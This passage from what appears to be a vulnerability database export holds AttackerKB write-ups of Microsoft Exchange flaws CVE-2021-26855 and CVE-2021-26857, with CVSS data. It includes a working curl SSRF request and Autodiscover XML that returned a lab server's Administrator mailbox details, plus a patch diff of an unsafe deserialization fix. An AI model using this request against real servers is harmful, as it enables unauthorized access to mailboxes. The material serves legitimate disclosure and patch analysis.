X-BEResource=WIN-T4RO9496TA7/EWS/Exchange.asmx?~22406\n >\n * Connection state changed (MAX_CONCURRENT_STREAMS == 100)!\n < HTTP/2 200\n < cache-control: private\n < content-type: text/html; charset=UTF-8\n < server: Microsoft-IIS/10.0\n < request-id: b4762a11-d418-43f8-a435-f04420289a4c\n < x-calculatedbetarget: win-t4ro9496ta7\n < x-calculatedbetarget: win-t4ro9496ta7.gibson.local\n < x-diaginfo: WIN-T4RO9496TA7\n < x-beserver: WIN-T4RO9496TA7\n < x-feserver: WIN-T4RO9496TA7\n < x-aspnet-version: 4.0.30319\n < set-cookie: exchangecookie=ef4d50599057429b849b92e9059455af; expires=Wed, 09-Mar-2022 07:00:11 GMT; path=/; HttpOnly\n < set-cookie: X-BackEndCookie=S-1-5-18=rJqNiZqNgai2sdKry62wxsvGyau+yNGYlp2MkJHRk5CcnpOBzsbLzc/JzM3MzYHNz83O0s/M0s/Gq8/Ixc7Pxc7O; expires=Tue, 09-Mar-2021 07:10:11 GMT; path=/EWS; secure; HttpOnly\n < x-powered-by: ASP.NET\n < x-feserver: WIN-T4RO9496TA7\n < date: Tue, 09 Mar 2021 07:00:11 GMT\n < content-length: 2836\n <\n <HTML lang=\"en\"><HEAD><link rel=\"alternate\" type=\"text/xml\" href=\"https://win-t4ro9496ta7.gibson.local:444/EWS/Exchange.asmx?disco\"/><STYLE type=\"text/css\">#content{ FONT-SIZE: 0.7em; PADDING-BOTTOM: 2em; MARGIN-LEFT: 30px}BODY{MARGIN-TOP: 0px; MARGIN-LEFT: 0px; COLOR: #000000; FONT-FAMILY: Verdana; BACKGROUND-COLOR: white}P{MARGIN-TOP: 0px; MARGIN-BOTTOM: 12px; COLOR: #000000; FONT-FAMILY: Verdana}PRE{BORDER-RIGHT: #f0f0e0 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #f0f0e0 1px solid; MARGIN-TOP: -5px; PADDING-LEFT: 5px; FONT-SIZE: 1.2em; PADDING-BOTTOM: 5px; BORDER-LEFT: #f0f0e0 1px solid; PADDING-TOP: 5px; BORDER-BOTTOM: #f0f0e0 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e5e5cc}.heading1{MARGIN-TOP: 0px; PADDING-LEFT: 15px; FONT-WEIGHT: normal; FONT-SIZE: 26px; MARGIN-BOTTOM: 0px; PADDING-BOTTOM: 3px; MARGIN-LEFT: -30px; WIDTH: 100%; COLOR: #ffffff; PADDING-TOP: 10px; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #003366}.intro{display: block; font-size: 1em;}</STYLE><TITLE>Service</TITLE></HEAD><BODY><DIV id=\"content\" role=\"main\"><h1 class=\"heading1\">Service</h1><BR/><P class=\"intro\">You have created a service.<P class='intro'>To test this service, you will need to create a client and use it to call the service. You can do this using the svcutil.exe tool from the command line with the following syntax:</P> <BR/><PRE>svcutil.exe <A HREF=\"https://win-t4ro9496ta7.gibson.local:444/EWS/Services.wsdl\">https://win-t4ro9496ta7.gibson.local:444/EWS/Services.wsdl</A></PRE></P><P class=\"intro\">This will generate a configuration file and a code file that contains the client class. Add the two files to your client application and use the generated client class to call the Service. For example:<BR/></P><h2 class='intro'>C#</h2><br /><PRE><font color=\"blue\">class </font><font color=\"black\">Test\n </font>{\n <font color=\"blue\"> static void </font>Main()\n {\n <font color=\"black\">HelloClient</font> client = <font color=\"blue\">new </font><font color=\"black\">HelloClient</font>();\n \n <font color=\"darkgreen\"> // Use the 'client' variable to call operations on the service.\n \n </font><font color=\"darkgreen\"> // Always close the client.\n </font> client.Close();\n }\n }\n </PRE><BR/><h2 class='intro'>Visual Basic</h2><br /><PRE><font color=\"blue\">Class </font><font color=\"black\">Test\n </font><font color=\"blue\"> Shared Sub </font>Main()\n <font color=\"blue\"> Dim </font>client As <font color=\"black\">HelloClient</font> = <font color=\"blue\">New </font><font color=\"black\">HelloClient</font>()\n <font color=\"darkgreen\"> ' Use the 'client' variable to call operations on the service.\n \n </font><font color=\"darkgreen\"> ' Always close the client.\n </font> client.Close()\n <font color=\"blue\"> End Sub\n * Connection #0 to host 192.168.123.183 left intact\n </font><font color=\"blue\">End Class</font></PRE></DIV></BODY></HTML>* Closing connection 0\n wvu@kharak:~$\n \n\n`POST`ing to the [EWS](<https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/ews-reference-for-exchange>) endpoint (not shown) allows an attacker access to a target\u2019s mailbox. A sample [Autodiscover request](<https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/pox-autodiscover-request-for-exchange>) is shown below.\n \n \n wvu@kharak:~/Downloads$ cat poc.xml\n <?xml version=\"1.0\"?>\n <Autodiscover xmlns=\"http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006\">\n <Request>\n <EMailAddress>Administrator@gibson.local</EMailAddress>\n <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>\n </Request>\n </Autodiscover>\n wvu@kharak:~/Downloads$ curl -kvb \"X-BEResource=WIN-T4RO9496TA7/autodiscover/autodiscover.xml?~$RANDOM\" -H \"Content-Type: text/xml\" \"https://192.168.123.207/ecp/$RANDOM.js\" -d @poc.xml\n * Trying 192.168.123.207...\n * TCP_NODELAY set\n * Connected to 192.168.123.207 (192.168.123.207) port 443 (#0)\n * ALPN, offering h2\n * ALPN, offering http/1.1\n * successfully set certificate verify locations:\n * CAfile: /etc/ssl/cert.pem\n CApath: none\n * TLSv1.2 (OUT), TLS handshake, Client hello (1):\n * TLSv1.2 (IN), TLS handshake, Server hello (2):\n * TLSv1.2 (IN), TLS handshake, Certificate (11):\n * TLSv1.2 (IN), TLS handshake, Server key exchange (12):\n * TLSv1.2 (IN), TLS handshake, Server finished (14):\n * TLSv1.2 (OUT), TLS handshake, Client key exchange (16):\n * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):\n * TLSv1.2 (OUT), TLS handshake, Finished (20):\n * TLSv1.2 (IN), TLS change cipher, Change cipher spec (1):\n * TLSv1.2 (IN), TLS handshake, Finished (20):\n * SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256\n * ALPN, server accepted to use h2\n * Server certificate:\n * subject: CN=WIN-T4RO9496TA7\n * start date: Mar 8 22:45:17 2021 GMT\n * expire date: Mar 8 22:45:17 2026 GMT\n * issuer: CN=WIN-T4RO9496TA7\n * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n * Using HTTP2, server supports multi-use\n * Connection state changed (HTTP/2 confirmed)\n * Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0\n * Using Stream ID: 1 (easy handle 0x7fa592808200)\n > POST /ecp/3425.js HTTP/2\n > Host: 192.168.123.207\n > User-Agent: curl/7.64.1\n > Accept: */*\n > Cookie: X-BEResource=WIN-T4RO9496TA7/autodiscover/autodiscover.xml?~24753\n > Content-Type: text/xml\n > Content-Length: 354\n >\n * Connection state changed (MAX_CONCURRENT_STREAMS == 100)!\n * We are completely uploaded and fine\n < HTTP/2 200\n < cache-control: private\n < content-type: text/xml; charset=utf-8\n < server: Microsoft-IIS/10.0\n < request-id: bde5e90a-fe14-4b47-aaca-1a713d9832b1\n < x-calculatedbetarget: win-t4ro9496ta7\n < x-calculatedbetarget: win-t4ro9496ta7.gibson.local\n < x-diaginfo: WIN-T4RO9496TA7\n < x-beserver: WIN-T4RO9496TA7\n < x-feserver: WIN-T4RO9496TA7\n < x-aspnet-version: 4.0.30319\n < set-cookie: X-BackEndCookie=S-1-5-18=rJqNiZqNgai2sdKry62wxsvGyau+yNGYlp2MkJHRk5CcnpOBzsbLzc/JzM3MzYHNz83O0s/M0s7Pq8/OxczJxc7G; expires=Wed, 10-Mar-2021 01:36:19 GMT; path=/autodiscover; secure; HttpOnly\n < x-powered-by: ASP.NET\n < x-feserver: WIN-T4RO9496TA7\n < date: Wed, 10 Mar 2021 01:26:19 GMT\n < content-length: 3866\n <\n <?xml version=\"1.0\" encoding=\"utf-8\"?>\n <Autodiscover xmlns=\"http://schemas.microsoft.com/exchange/autodiscover/responseschema/2006\">\n <Response xmlns=\"http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a\">\n <User>\n <DisplayName>Administrator</DisplayName>\n <LegacyDN>/o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=94812d66d68146e8b6ac7b3312a93d7b-Admin</LegacyDN>\n <AutoDiscoverSMTPAddress>Administrator@gibson.local</AutoDiscoverSMTPAddress>\n <DeploymentId>eb64d327-1a67-4c9c-b64d-38d567e95480</DeploymentId>\n </User>\n <Account>\n <AccountType>email</AccountType>\n <Action>settings</Action>\n <MicrosoftOnline>False</MicrosoftOnline>\n <Protocol>\n <Type>EXCH</Type>\n <Server>47f3c51d-2094-4651-b009-c4c4a86a75e4@gibson.local</Server>\n <ServerDN>/o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Configuration/cn=Servers/cn=47f3c51d-2094-4651-b009-c4c4a86a75e4@gibson.local</ServerDN>\n <ServerVersion>73C18880</ServerVersion>\n <MdbDN>/o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Configuration/cn=Servers/cn=47f3c51d-2094-4651-b009-c4c4a86a75e4@gibson.local/cn=Microsoft Private MDB</MdbDN>\n <PublicFolderServer>win-t4ro9496ta7.gibson.local</PublicFolderServer>\n <AD>WIN-T4RO9496TA7.gibson.local</AD>\n <ASUrl>https://win-t4ro9496ta7.gibson.local/EWS/Exchange.asmx</ASUrl>\n <EwsUrl>https://win-t4ro9496ta7.gibson.local/EWS/Exchange.asmx</EwsUrl>\n <EmwsUrl>https://win-t4ro9496ta7.gibson.local/EWS/Exchange.asmx</EmwsUrl>\n <EcpUrl>https://win-t4ro9496ta7.gibson.local/owa/</EcpUrl>\n <EcpUrl-um>?path=/options/callanswering</EcpUrl-um>\n <EcpUrl-aggr>?path=/options/connectedaccounts</EcpUrl-aggr>\n <EcpUrl-mt>options/ecp/PersonalSettings/DeliveryReport.aspx?rfr=olk&exsvurl=1&IsOWA=<IsOWA>&MsgID=<MsgID>&Mbx=<Mbx>&realm=gibson.local</EcpUrl-mt>\n <EcpUrl-ret>?path=/options/retentionpolicies</EcpUrl-ret>\n <EcpUrl-sms>?path=/options/textmessaging</EcpUrl-sms>\n <EcpUrl-photo>?path=/options/myaccount/action/photo</EcpUrl-photo>\n <EcpUrl-tm>options/ecp/?rfr=olk&ftr=TeamMailbox&exsvurl=1&realm=gibson.local</EcpUrl-tm>\n <EcpUrl-tmCreating>options/ecp/?rfr=olk&ftr=TeamMailboxCreating&SPUrl=<SPUrl>&Title=<Title>&SPTMAppUrl=<SPTMAppUrl>&exsvurl=1&realm=gibson.local</EcpUrl-tmCreating>\n <EcpUrl-tmEditing>options/ecp/?rfr=olk&ftr=TeamMailboxEditing&Id=<Id>&exsvurl=1&realm=gibson.local</EcpUrl-tmEditing>\n <EcpUrl-extinstall>?path=/options/manageapps</EcpUrl-extinstall>\n <OOFUrl>https://win-t4ro9496ta7.gibson.local/EWS/Exchange.asmx</OOFUrl>\n <UMUrl>https://win-t4ro9496ta7.gibson.local/EWS/UM2007Legacy.asmx</UMUrl>\n <ServerExclusiveConnect>off</ServerExclusiveConnect>\n </Protocol>\n <Protocol>\n <Type>EXPR</Type>\n <Server>win-t4ro9496ta7.gibson.local</Server>\n <SSL>Off</SSL>\n <AuthPackage>Ntlm</AuthPackage>\n <ServerExclusiveConnect>on</ServerExclusiveConnect>\n <CertPrincipalName>None</CertPrincipalName>\n <GroupingInformation>Default-First-Site-Name</GroupingInformation>\n </Protocol>\n <Protocol>\n <Type>WEB</Type>\n <Internal>\n <OWAUrl AuthenticationMethod=\"Basic, Fba\">https://win-t4ro9496ta7.gibson.local/owa/</OWAUrl>\n <Protocol>\n <Type>EXCH</Type>\n <ASUrl>https://win-t4ro9496ta7.gibson.local/EWS/Exchange.asmx</ASUrl>\n </Protocol>\n </Internal>\n </Protocol>\n </Account>\n </Response>\n * Connection #0 to host 192.168.123.207 left intact\n </Autodiscover>* Closing connection 0\n wvu@kharak:~/Downloads$\n \n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 4\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-03T00:00:00", "type": "attackerkb", "title": "CVE-2021-26855", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26412", "CVE-2021-26854", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27078"], "modified": "2021-03-03T00:00:00", "id": "AKB:5D17BB38-86BB-4514-BF1D-39EB48FBE4F1", "href": "https://attackerkb.com/topics/eIPBftle3R/cve-2021-26855", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-01-27T02:14:28", "description": "Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26858, CVE-2021-27065, CVE-2021-27078.\n\n \n**Recent assessments:** \n \n**wvu-r7** at March 03, 2021 6:59pm UTC reported:\n\nAs per [Microsoft\u2019s blog post](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>) on Exchange Server 0day use by the HAFNIUM actors, [CVE-2021-26857](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857>) is a deserialization vulnerability in Exchange Server\u2019s Unified Messaging (voicemail) service. Exploiting the vulnerability reportedly requires admin access or chaining with another vuln (likely [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>)), but successful exploitation results in RCE as the `SYSTEM` account. This vulnerability would ideally be combined with an [auth bypass](<https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/>), which CVE-2021-26855 may very well provide.\n\nI took a look at CVE-2021-26857 last night and came up with the following patch diff:\n \n \n --- exchange.unpatched/Microsoft.Exchange.UM.UMCore/UMCore/PipelineContext.cs\t2021-03-02 19:54:18.000000000 -0600\n +++ exchange.patched/Microsoft.Exchange.UM.UMCore/UMCore/PipelineContext.cs\t2021-03-02 19:55:19.000000000 -0600\n @@ -1,742 +1,886 @@\n \ufeffusing System;\n +using System.Collections.Generic;\n using System.Globalization;\n using System.IO;\n +using System.Runtime.Serialization;\n +using Microsoft.Exchange.Compliance.Serialization.Formatters;\n +using Microsoft.Exchange.Data;\n +using Microsoft.Exchange.Data.Common;\n using Microsoft.Exchange.Data.Directory;\n using Microsoft.Exchange.Data.Directory.Recipient;\n using Microsoft.Exchange.Data.Directory.SystemConfiguration;\n using Microsoft.Exchange.Data.Storage;\n using Microsoft.Exchange.Diagnostics;\n using Microsoft.Exchange.Diagnostics.Components.UnifiedMessaging;\n using Microsoft.Exchange.ExchangeSystem;\n using Microsoft.Exchange.TextProcessing.Boomerang;\n using Microsoft.Exchange.UM.UMCommon;\n +using Microsoft.Mapi;\n \n namespace Microsoft.Exchange.UM.UMCore\n {\n \tinternal abstract class PipelineContext : DisposableBase, IUMCreateMessage\n \t{\n \t\tinternal PipelineContext()\n \t\t{\n \t\t}\n \n \t\tinternal PipelineContext(SubmissionHelper helper)\n \t\t{\n \t\t\tbool flag = false;\n \t\t\ttry\n \t\t\t{\n \t\t\t\tthis.helper = helper;\n \t\t\t\tthis.cultureInfo = new CultureInfo(helper.CultureInfo);\n \t\t\t\tflag = true;\n \t\t\t}\n \t\t\tfinally\n \t\t\t{\n \t\t\t\tif (!flag)\n \t\t\t\t{\n \t\t\t\t\tthis.Dispose();\n \t\t\t\t}\n \t\t\t}\n \t\t}\n \n \t\tpublic MessageItem MessageToSubmit\n \t\t{\n \t\t\tget\n \t\t\t{\n \t\t\t\treturn this.messageToSubmit;\n \t\t\t}\n \t\t\tprotected set\n \t\t\t{\n \t\t\t\tthis.messageToSubmit = value;\n \t\t\t}\n \t\t}\n \n \t\tpublic string MessageID\n \t\t{\n \t\t\tget\n \t\t\t{\n \t\t\t\treturn this.messageID;\n \t\t\t}\n \t\t\tprotected set\n \t\t\t{\n \t\t\t\tthis.messageID = value;\n \t\t\t}\n \t\t}\n \n \t\tinternal abstract Pipeline Pipeline { get; }\n \n \t\tinternal Microsoft.Exchange.UM.UMCommon.PhoneNumber CallerId\n \t\t{\n \t\t\tget\n \t\t\t{\n \t\t\t\treturn this.helper.CallerId;\n \t\t\t}\n \t\t}\n \n \t\tinternal Guid TenantGuid\n \t\t{\n \t\t\tget\n \t\t\t{\n \t\t\t\treturn this.helper.TenantGuid;\n \t\t\t}\n \t\t}\n \n \t\tinternal int ProcessedCount\n \t\t{\n \t\t\tget\n \t\t\t{\n \t\t\t\treturn this.processedCount;\n \t\t\t}\n \t\t}\n \n \t\tinternal ExDateTime SentTime\n \t\t{\n \t\t\tget\n \t\t\t{\n \t\t\t\treturn this.sentTime;\n \t\t\t}\n \t\t\tset\n \t\t\t{\n \t\t\t\tthis.sentTime = value;\n \t\t\t}\n \t\t}\n \n \t\tinternal CultureInfo CultureInfo\n \t\t{\n \t\t\tget\n \t\t\t{\n \t\t\t\treturn this.cultureInfo;\n \t\t\t}\n \t\t}\n \n \t\tprotected internal string HeaderFileName\n \t\t{\n \t\t\tget\n \t\t\t{\n \t\t\t\tif (string.IsNullOrEmpty(this.headerFileName))\n \t\t\t\t{\n \t\t\t\t\tGuid guid = Guid.NewGuid();\n \t\t\t\t\tthis.headerFileName = Path.Combine(Utils.VoiceMailFilePath, guid.ToString() + \".txt\");\n \t\t\t\t}\n \t\t\t\treturn this.headerFileName;\n \t\t\t}\n \t\t\tprotected set\n \t\t\t{\n \t\t\t\tthis.headerFileName = value;\n \t\t\t}\n \t\t}\n \n \t\tprotected internal string CallerAddress\n \t\t{\n \t\t\tget\n \t\t\t{\n \t\t\t\treturn this.helper.CallerAddress;\n \t\t\t}\n \t\t\tprotected set\n \t\t\t{\n \t\t\t\tthis.helper.CallerAddress = value;\n \t\t\t}\n \t\t}\n \n \t\tprotected internal string CallerIdDisplayName\n \t\t{\n \t\t\tget\n \t\t\t{\n \t\t\t\treturn this.helper.CallerIdDisplayName;\n \t\t\t}\n \t\t\tprotected set\n \t\t\t{\n \t\t\t\tthis.helper.CallerIdDisplayName = value;\n \t\t\t}\n \t\t}\n \n \t\tprotected internal string MessageType\n \t\t{\n \t\t\tinternal get\n \t\t\t{\n \t\t\t\treturn this.messageType;\n \t\t\t}\n \t\t\tset\n \t\t\t{\n \t\t\t\tthis.messageType = value;\n \t\t\t}\n \t\t}\n \n \t\tpublic virtual void PrepareUnProtectedMessage()\n \t\t{\n \t\t\tCallIdTracer.TraceDebug(ExTraceGlobals.VoiceMailTracer, this.GetHashCode(), \"PipelineContext:PrepareUnProtectedMessage.\", Array.Empty<object>());\n \t\t\tusing (DisposeGuard disposeGuard = default(DisposeGuard))\n \t\t\t{\n \t\t\t\tthis.messageToSubmit = MessageItem.CreateInMemory(StoreObjectSchema.ContentConversionProperties);\n \t\t\t\tdisposeGuard.Add<MessageItem>(this.messageToSubmit);\n \t\t\t\tthis.SetMessageProperties();\n \t\t\t\tdisposeGuard.Success();\n \t\t\t}\n \t\t}\n \n \t\tpublic virtual void PrepareProtectedMessage()\n \t\t{\n \t\t\tthrow new InvalidOperationException();\n \t\t}\n \n \t\tpublic virtual void PrepareNDRForFailureToGenerateProtectedMessage()\n \t\t{\n \t\t\tthrow new InvalidOperationException();\n \t\t}\n \n \t\tpublic virtual PipelineDispatcher.WIThrottleData GetThrottlingData()\n \t\t{\n \t\t\treturn new PipelineDispatcher.WIThrottleData\n \t\t\t{\n \t\t\t\tKey = this.GetMailboxServerId(),\n \t\t\t\tRecipientId = this.GetRecipientIdForThrottling(),\n \t\t\t\tWorkItemType = PipelineDispatcher.ThrottledWorkItemType.NonCDRWorkItem\n \t\t\t};\n \t\t}\n \n \t\tpublic virtual void PostCompletion()\n \t\t{\n \t\t\tCallIdTracer.TraceDebug(ExTraceGlobals.VoiceMailTracer, 0, \"PipelineContext - Deleting header file '{0}'\", new object[]\n \t\t\t{\n \t\t\t\tthis.headerFileName\n \t\t\t});\n \t\t\tUtil.TryDeleteFile(this.headerFileName);\n \t\t}\n \n \t\tinternal static PipelineContext FromHeaderFile(string headerFile)\n \t\t{\n \t\t\tPipelineContext pipelineContext = null;\n \t\t\tPipelineContext result;\n \t\t\ttry\n \t\t\t{\n \t\t\t\tContactInfo contactInfo = null;\n \t\t\t\tstring text = null;\n \t\t\t\tint num = 0;\n \t\t\t\tExDateTime exDateTime = default(ExDateTime);\n \t\t\t\tstring text2 = null;\n \t\t\t\tSubmissionHelper submissionHelper = new SubmissionHelper();\n \t\t\t\tuint num2;\n \t\t\t\tusing (StreamReader streamReader = File.OpenText(headerFile))\n \t\t\t\t{\n \t\t\t\t\tstring text3;\n \t\t\t\t\twhile ((text3 = streamReader.ReadLine()) != null)\n \t\t\t\t\t{\n \t\t\t\t\t\tstring[] array = text3.Split(\" : \".ToCharArray(), 2, StringSplitOptions.RemoveEmptyEntries);\n \t\t\t\t\t\tif (array != null && array.Length == 2)\n \t\t\t\t\t\t{\n \t\t\t\t\t\t\tstring text4 = array[0];\n \t\t\t\t\t\t\tnum2 = <PrivateImplementationDetails>.ComputeStringHash(text4);\n \t\t\t\t\t\t\tif (num2 <= 872212143U)\n \t\t\t\t\t\t\t{\n \t\t\t\t\t\t\t\tif (num2 <= 134404218U)\n \t\t\t\t\t\t\t\t{\n \t\t\t\t\t\t\t\t\tif (num2 != 77294025U)\n \t\t\t\t\t\t\t\t\t{\n \t\t\t\t\t\t\t\t\t\tif (num2 != 111122938U)\n \t\t\t\t\t\t\t\t\t\t{\n -\t\t\t\t\t\t\t\t\t\t\tif (num2 == 134404218U)\n +\t\t\t\t\t\t\t\t\t\t\tif (num2 != 134404218U)\n \t\t\t\t\t\t\t\t\t\t\t{\n -\t\t\t\t\t\t\t\t\t\t\t\tif (text4 == \"ProcessedCount\")\n -\t\t\t\t\t\t\t\t\t\t\t\t{\n -\t\t\t\t\t\t\t\t\t\t\t\t\tnum = Convert.ToInt32(array[1], CultureInfo.InvariantCulture) + 1;\n -\t\t\t\t\t\t\t\t\t\t\t\t\tcontinue;\n -\t\t\t\t\t\t\t\t\t\t\t\t}\n +\t\t\t\t\t\t\t\t\t\t\t\tgoto IL_409;\n +\t\t\t\t\t\t\t\t\t\t\t}\n +\t\t\t\t\t\t\t\t\t\t\tif (!(text4 == \"ProcessedCount\"))\n +\t\t\t\t\t\t\t\t\t\t\t{\n +\t\t\t\t\t\t\t\t\t\t\t\tgoto IL_409;\n \t\t\t\t\t\t\t\t\t\t\t}\n +\t\t\t\t\t\t\t\t\t\t\tnum = Convert.ToInt32(array[1], CultureInfo.InvariantCulture) + 1;\n +\t\t\t\t\t\t\t\t\t\t\tcontinue;\n \t\t\t\t\t\t\t\t\t\t}\n -\t\t\t\t\t\t\t\t\t\telse if (text4 == \"RecipientObjectGuid\")\n +\t\t\t\t\t\t\t\t\t\telse\n \t\t\t\t\t\t\t\t\t\t{\n +\t\t\t\t\t\t\t\t\t\t\tif (!(text4 == \"RecipientObjectGuid\"))\n +\t\t\t\t\t\t\t\t\t\t\t{\n +\t\t\t\t\t\t\t\t\t\t\t\tgoto IL_409;\n +\t\t\t\t\t\t\t\t\t\t\t}\n \t\t\t\t\t\t\t\t\t\t\tsubmissionHelper.RecipientObjectGuid = new Guid(array[1]);\n \t\t\t\t\t\t\t\t\t\t\tcontinue;\n \t\t\t\t\t\t\t\t\t\t}\n \t\t\t\t\t\t\t\t\t}\n -\t\t\t\t\t\t\t\t\telse if (text4 == \"CallerNAme\")\n +\t\t\t\t\t\t\t\t\telse\n \t\t\t\t\t\t\t\t\t{\n +\t\t\t\t\t\t\t\t\t\tif (!(text4 == \"CallerNAme\"))\n +\t\t\t\t\t\t\t\t\t\t{\n +\t\t\t\t\t\t\t\t\t\t\tgoto IL_409;\n +\t\t\t\t\t\t\t\t\t\t}\n \t\t\t\t\t\t\t\t\t\tsubmissionHelper.CallerName = array[1];\n \t\t\t\t\t\t\t\t\t\tcontinue;\n \t\t\t\t\t\t\t\t\t}\n \t\t\t\t\t\t\t\t}\n \t\t\t\t\t\t\t\telse if (num2 <= 507978139U)\n \t\t\t\t\t\t\t\t{\n \t\t\t\t\t\t\t\t\tif (num2 != 152414519U)\n \t\t\t\t\t\t\t\t\t{\n -\t\t\t\t\t\t\t\t\t\tif (num2 == 507978139U)\n +\t\t\t\t\t\t\t\t\t\tif (num2 != 507978139U)\n \t\t\t\t\t\t\t\t\t\t{\n -\t\t\t\t\t\t\t\t\t\t\tif (text4 == \"RecipientName\")\n -\t\t\t\t\t\t\t\t\t\t\t{\n -\t\t\t\t\t\t\t\t\t\t\t\tsubmissionHelper.RecipientName = array[1];\n -\t\t\t\t\t\t\t\t\t\t\t\tcontinue;\n -\t\t\t\t\t\t\t\t\t\t\t}\n +\t\t\t\t\t\t\t\t\t\t\tgoto IL_409;\n \t\t\t\t\t\t\t\t\t\t}\n +\t\t\t\t\t\t\t\t\t\tif (!(text4 == \"RecipientName\"))\n +\t\t\t\t\t\t\t\t\t\t{\n +\t\t\t\t\t\t\t\t\t\t\tgoto IL_409;\n +\t\t\t\t\t\t\t\t\t\t}\n +\t\t\t\t\t\t\t\t\t\tsubmissionHelper.RecipientName = array[1];\n +\t\t\t\t\t\t\t\t\t\tcontinue;\n \t\t\t\t\t\t\t\t\t}\n -\t\t\t\t\t\t\t\t\telse if (text4 == \"ContactInfo\")\n +\t\t\t\t\t\t\t\t\telse\n \t\t\t\t\t\t\t\t\t{\n -\t\t\t\t\t\t\t\t\t\tcontactInfo = (CommonUtil.Base64Deserialize(array[1]) as ContactInfo);\n -\t\t\t\t\t\t\t\t\t\tcontinue;\n +\t\t\t\t\t\t\t\t\t\tif (!(text4 == \"ContactInfo\"))\n +\t\t\t\t\t\t\t\t\t\t{\n +\t\t\t\t\t\t\t\t\t\t\tgoto IL_409;\n +\t\t\t\t\t\t\t\t\t\t}\n +\t\t\t\t\t\t\t\t\t\tException ex = null;\n +\t\t\t\t\t\t\t\t\t\ttry\n +\t\t\t\t\t\t\t\t\t\t{\n +\t\t\t\t\t\t\t\t\t\t\ttry\n +\t\t\t\t\t\t\t\t\t\t\t{\n +\t\t\t\t\t\t\t\t\t\t\t\tusing (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(array[1])))\n +\t\t\t\t\t\t\t\t\t\t\t\t{\n +\t\t\t\t\t\t\t\t\t\t\t\t\tcontactInfo = (ContactInfo)TypedBinaryFormatter.DeserializeObject(memoryStream, PipelineContext.contactInfoDeserializationAllowList, null, true);\n +\t\t\t\t\t\t\t\t\t\t\t\t}\n +\t\t\t\t\t\t\t\t\t\t\t}\n +\t\t\t\t\t\t\t\t\t\t\tcatch (ArgumentNullException ex)\n +\t\t\t\t\t\t\t\t\t\t\t{\n +\t\t\t\t\t\t\t\t\t\t\t}\n +\t\t\t\t\t\t\t\t\t\t\tcatch (SerializationException ex)\n +\t\t\t\t\t\t\t\t\t\t\t{\n +\t\t\t\t\t\t\t\t\t\t\t}\n +\t\t\t\t\t\t\t\t\t\t\tcatch (Exception ex)\n +\t\t\t\t\t\t\t\t\t\t\t{\n +\t\t\t\t\t\t\t\t\t\t\t}\n +\t\t\t\t\t\t\t\t\t\t\tcontinue;\n +\t\t\t\t\t\t\t\t\t\t}\n +\t\t\t\t\t\t\t\t\t\tfinally\n +\t\t\t\t\t\t\t\t\t\t{\n +\t\t\t\t\t\t\t\t\t\t\tif (ex != null)\n +\t\t\t\t\t\t\t\t\t\t\t{\n +\t\t\t\t\t\t\t\t\t\t\t\tCallIdTracer.TraceDebug(ExTraceGlobals.VoiceMailTracer, 0, \"Failed to get contactInfo from header file {0} with Error={1}\", new object[]\n +\t\t\t\t\t\t\t\t\t\t\t\t{\n +\t\t\t\t\t\t\t\t\t\t\t\t\theaderFile,\n +\t\t\t\t\t\t\t\t\t\t\t\t\tex\n +\t\t\t\t\t\t\t\t\t\t\t\t});\n +\t\t\t\t\t\t\t\t\t\t\t}\n +\t\t\t\t\t\t\t\t\t\t}\n \t\t\t\t\t\t\t\t\t}\n \t\t\t\t\t\t\t\t}\n \t\t\t\t\t\t\t\telse if (num2 != 707084238U)\n \t\t\t\t\t\t\t\t{\n -\t\t\t\t\t\t\t\t\tif (num2 == 872212143U)\n +\t\t\t\t\t\t\t\t\tif (num2 != 872212143U)\n \t\t\t\t\t\t\t\t\t{\n -\t\t\t\t\t\t\t\t\t\tif (text4 == \"CallerId\")\n -\t\t\t\t\t\t\t\t\t\t{\n -\t\t\t\t\t\t\t\t\t\t\tsubmissionHelper.CallerId = 